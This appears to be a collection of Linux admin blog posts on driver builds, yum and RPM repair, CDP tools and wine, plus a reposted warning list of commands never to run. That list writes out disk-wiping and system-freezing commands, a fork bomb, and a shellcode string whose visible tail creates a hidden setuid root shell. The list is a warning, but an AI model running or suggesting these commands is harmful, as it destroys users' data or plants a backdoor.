Got a new shiny Intel G840 2.8ghz to play with on a Intel Sandy Bridge motherboard and what do you know…onboard network card doesn’t work. After doing a bit of research I got it figured out with DKMS and working 100%. Posting the exact commands here to remind myself again in the future or anyone else running in to the same issue.

First install DKMS and the compiling requirements.

apt-get install dkms build-essential make linux-headers-generic

Download the e1001e driver and extract it.

cd /usr/src
wget http://tenet.dl.sourceforge.net/project/e1000/e1000e%20stable/1.6.2/e1000e-1.6.2.tar.gz
tar xzvf e1000e-1.6.2.tar.gz

Create the DKMS config file.

cd e1000e-1.6.2
nano dkms.conf

dkms.conf contents:

PACKAGE_NAME=”e1000e”
PACKAGE_VERSION=”1.6.2″
CLEAN=”make -C src/ clean”
MAKE=”make -C src/ BUILD_KERNEL=$kernelver KERNELDIR=/lib/modules/${kernelver}/build”
BUILT_MODULE_NAME[0]=”e1000e”
BUILT_MODULE_LOCATION=src/
DEST_MODULE_LOCATION[0]=”/updates”
AUTOINSTALL=”yes”
REMAKE_INITRD=yes

Last step, create the DKMS module.

dkms add -m e1000e -v 1.6.2
dkms build -m e1000e -v 1.6.2
dkms install -m e1000e -v 1.6.2

Now just do a reboot and the on-board network card should work.

Sometimes you need CDP for reasons unknown to most on your Linux servers. This is just a quick howto to do this on CentOS, one of the most popular server distributions out there.

Step 1: Add Razor Edge’s repository.

rpm -Uvh http://rpm.razorsedge.org/centos-5/RE/razorsedge-release-4-1.el5.re.noarch.rpm

Step 2: Install CDP-Tools

yum install cdp-tools

Certain commands require the use of the super user to run them, however at times there are those commands that won’t cause security concerns when used as a normal user. For me these are “tcptraceroute” and “mtr”.

So to help me use them on my normal user, I either need to add my user to the group dialout, or in my case using Active Directory I can’t add my user to that group. There is a alternative.

Add the following lines to: /etc/permissions.local

/usr/sbin/mtr             root:dialout    4755
/usr/bin/tcptraceroute       root:root       4755

In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

• sudo rm -rf /
• rm -rf .*
• dd if=/dev/zero of=/dev/sda
• mkfs.ext3 /dev/hda
• whatever > /dev/hda
• cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
• find -type f -mtime +30 -exec mv {} /dev/null \;
• mv ~ /dev/null
• mv / /dev/null

2. Causes kernel panic or freezes Linux box:

• dd if=/dev/random of=/dev/port
• ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

Source: http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/

The other day I was doing updates on a CentOS 5.x 64bit server when yum failed halfway through leaving me with multiple versions of the same package installed ect. The problem was the RPM database became corrupted which needed a repair. This I did with the help of a co-worker who figured out the following commands can help:

mkdir rpmdb
cp /var/lib/rpm/__db* rpmdb/
rm /var/lib/rpm/__db*
rm: remove regular empty file `/var/lib/rpm/__db.000′? y
rm: remove regular file `/var/lib/rpm/__db.001′? y
rm: remove regular file `/var/lib/rpm/__db.002′? y
rm: remove regular file `/var/lib/rpm/__db.003′? y
rpm –rebuilddb

After that, to clean up the packages I installed the package “yum-utils” and executed the command

yum-complete-transaction

Other useful commands when you have problems:

yum clean metadata
yum clean all

Usually people on 64bit Linux have more problems getting Windows applications to run via wine. Here is a list of software that could help prevent many of these:

• 32bit libgphoto2.so.2 – Allow applications access to digital cameras
• 32bit libhal.so.1 – Allow applications to detect CD-ROM/USB-key insertion
• 32bit libjpeg.so.62 – Allow applications to use JPEG images – lack of this may cause black icons
• 32bit libsane.sp.1 – Scanner support